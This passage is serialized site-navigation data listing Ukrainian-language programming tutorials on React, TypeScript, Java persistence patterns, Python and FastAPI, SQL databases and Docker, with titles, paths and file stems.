Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2317,"path":2318,"stem":2319},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2321,"path":2322,"stem":2323},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2325,"icon":2326,"path":2327,"stem":2328,"children":2329,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2330,2334,2338,2342,2346,2350,2354,2358],{"title":2331,"path":2332,"stem":2333},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2335,"path":2336,"stem":2337},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2339,"path":2340,"stem":2341},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2343,"path":2344,"stem":2345},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2347,"path":2348,"stem":2349},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2351,"path":2352,"stem":2353},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2355,"path":2356,"stem":2357},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2359,"path":2360,"stem":2361},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2363,"path":2364,"stem":2365},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2367,"icon":2368,"path":2369,"stem":2370,"children":2371,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2372,2375,2378,2382,2386,2390,2394],{"title":162,"path":2373,"stem":2374},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2376,"stem":2377},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2379,"path":2380,"stem":2381},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2383,"path":2384,"stem":2385},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2387,"path":2388,"stem":2389},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2391,"path":2392,"stem":2393},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2395,"path":2396,"stem":2397,"children":2398,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2399,2403,2407,2411,2415,2419,2423,2427,2431,2435,2439,2443,2447,2451,2455,2459,2463,2467,2471,2475,2479,2483,2487,2491,2495,2499,2503,2507,2511,2515,2519,2523,2527,2531,2535,2539,2543],{"title":2400,"path":2401,"stem":2402},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2404,"path":2405,"stem":2406},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2408,"path":2409,"stem":2410},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2412,"path":2413,"stem":2414},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2416,"path":2417,"stem":2418},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2420,"path":2421,"stem":2422},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2424,"path":2425,"stem":2426},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2428,"path":2429,"stem":2430},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2432,"path":2433,"stem":2434},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2436,"path":2437,"stem":2438},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2440,"path":2441,"stem":2442},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2444,"path":2445,"stem":2446},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2448,"path":2449,"stem":2450},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2452,"path":2453,"stem":2454},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2456,"path":2457,"stem":2458},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2460,"path":2461,"stem":2462},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2464,"path":2465,"stem":2466},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2468,"path":2469,"stem":2470},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2472,"path":2473,"stem":2474},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2476,"path":2477,"stem":2478},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2480,"path":2481,"stem":2482},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2484,"path":2485,"stem":2486},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2488,"path":2489,"stem":2490},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2492,"path":2493,"stem":2494},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2496,"path":2497,"stem":2498},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2500,"path":2501,"stem":2502},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2504,"path":2505,"stem":2506},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2508,"path":2509,"stem":2510},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2512,"path":2513,"stem":2514},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2516,"path":2517,"stem":2518},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2520,"path":2521,"stem":2522},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2524,"path":2525,"stem":2526},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2528,"path":2529,"stem":2530},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2532,"path":2533,"stem":2534},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2536,"path":2537,"stem":2538},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2540,"path":2541,"stem":2542},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2544,"path":2545,"stem":2546},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2548,"icon":2549,"path":2550,"stem":2551,"children":2552,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2553,2557,2560,2564,2568,2572,2576,2580,2584,2588,2592,2596,2600,2604,2608,2669],{"title":2554,"path":2555,"stem":2556},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2558,"stem":2559},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2561,"path":2562,"stem":2563},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2565,"path":2566,"stem":2567},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2569,"path":2570,"stem":2571},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2573,"path":2574,"stem":2575},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2577,"path":2578,"stem":2579},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2581,"path":2582,"stem":2583},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2585,"path":2586,"stem":2587},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2589,"path":2590,"stem":2591},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2593,"path":2594,"stem":2595},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2597,"path":2598,"stem":2599},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2601,"path":2602,"stem":2603},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2605,"path":2606,"stem":2607},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2609,"icon":92,"path":2610,"stem":2611,"children":2612,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665],{"title":2614,"path":2615,"stem":2616},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2618,"path":2619,"stem":2620},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2622,"path":2623,"stem":2624},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2626,"path":2627,"stem":2628},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2630,"path":2631,"stem":2632},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2634,"path":2635,"stem":2636},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2638,"path":2639,"stem":2640},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2642,"path":2643,"stem":2644},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2646,"path":2647,"stem":2648},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2650,"path":2651,"stem":2652},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2654,"path":2655,"stem":2656},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2658,"path":2659,"stem":2660},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2662,"path":2663,"stem":2664},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2666,"path":2667,"stem":2668},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2670,"path":2671,"stem":2672},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2674,"icon":2675,"path":2676,"stem":2677,"children":2678,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2679,2709,2732,2769,2798,2816,2850,2862,2871],{"title":2680,"icon":2681,"path":2682,"stem":2683,"children":2684,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2685,2689,2693,2697,2701,2705],{"title":2686,"path":2687,"stem":2688},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2690,"path":2691,"stem":2692},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2694,"path":2695,"stem":2696},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2698,"path":2699,"stem":2700},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2702,"path":2703,"stem":2704},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2706,"path":2707,"stem":2708},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2710,"icon":2675,"path":2711,"stem":2712,"children":2713,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2714,2718,2724,2728],{"title":2715,"path":2716,"stem":2717},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2719,"path":2720,"stem":2721,"children":2722},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2723],{"title":2719,"path":2720,"stem":2721},{"title":2725,"path":2726,"stem":2727},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2729,"path":2730,"stem":2731},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2733,"icon":2675,"path":2734,"stem":2735,"children":2736,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2737,2741,2745,2749,2753,2757,2761,2765],{"title":2738,"path":2739,"stem":2740},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2742,"path":2743,"stem":2744},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2746,"path":2747,"stem":2748},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2750,"path":2751,"stem":2752},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2754,"path":2755,"stem":2756},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2758,"path":2759,"stem":2760},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2762,"path":2763,"stem":2764},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2766,"path":2767,"stem":2768},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2770,"icon":2675,"path":2771,"stem":2772,"children":2773,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2774,2778,2782,2786,2790,2794],{"title":2775,"path":2776,"stem":2777},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2779,"path":2780,"stem":2781},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2783,"path":2784,"stem":2785},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2787,"path":2788,"stem":2789},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2791,"path":2792,"stem":2793},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2795,"path":2796,"stem":2797},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2799,"icon":2800,"path":2801,"stem":2802,"children":2803,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2804,2808,2812],{"title":2805,"path":2806,"stem":2807},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2809,"path":2810,"stem":2811},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2813,"path":2814,"stem":2815},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2817,"icon":2818,"path":2819,"stem":2820,"children":2821,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2822,2826,2830,2834,2838,2842,2846],{"title":2823,"path":2824,"stem":2825},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2827,"path":2828,"stem":2829},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2831,"path":2832,"stem":2833},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2835,"path":2836,"stem":2837},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2839,"path":2840,"stem":2841},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2843,"path":2844,"stem":2845},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2847,"path":2848,"stem":2849},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2847,"icon":793,"path":2851,"stem":2852,"children":2853,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[2854,2858],{"title":2855,"path":2856,"stem":2857},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":2859,"path":2860,"stem":2861},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":2863,"icon":2864,"path":2865,"stem":2866,"children":2867,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[2868],{"title":2863,"path":2869,"stem":2870},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":2872,"icon":2873,"path":2874,"stem":2875,"children":2876,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[2877],{"title":2872,"path":2878,"stem":2879},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":2881,"icon":2882,"path":2883,"stem":2884,"children":2885,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[2886,2962],{"title":2887,"icon":2888,"path":2889,"stem":2890,"children":2891},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[2892,2894,2898,2902,2906,2910,2914,2918,2922,2926,2930,2934,2938,2942,2946,2950,2954,2958],{"title":2893,"path":2889,"stem":2890},"Docker: від нуля до production",{"title":2895,"path":2896,"stem":2897},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":2899,"path":2900,"stem":2901},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":2903,"path":2904,"stem":2905},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":2907,"path":2908,"stem":2909},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":2911,"path":2912,"stem":2913},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":2915,"path":2916,"stem":2917},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":2919,"path":2920,"stem":2921},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":2923,"path":2924,"stem":2925},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":2927,"path":2928,"stem":2929},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":2931,"path":2932,"stem":2933},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":2935,"path":2936,"stem":2937},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":2939,"path":2940,"stem":2941},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":2943,"path":2944,"stem":2945},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":2947,"path":2948,"stem":2949},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":2951,"path":2952,"stem":2953},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":2955,"path":2956,"stem":2957},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":2959,"path":2960,"stem":2961},"Docker Compose — Multi-Service 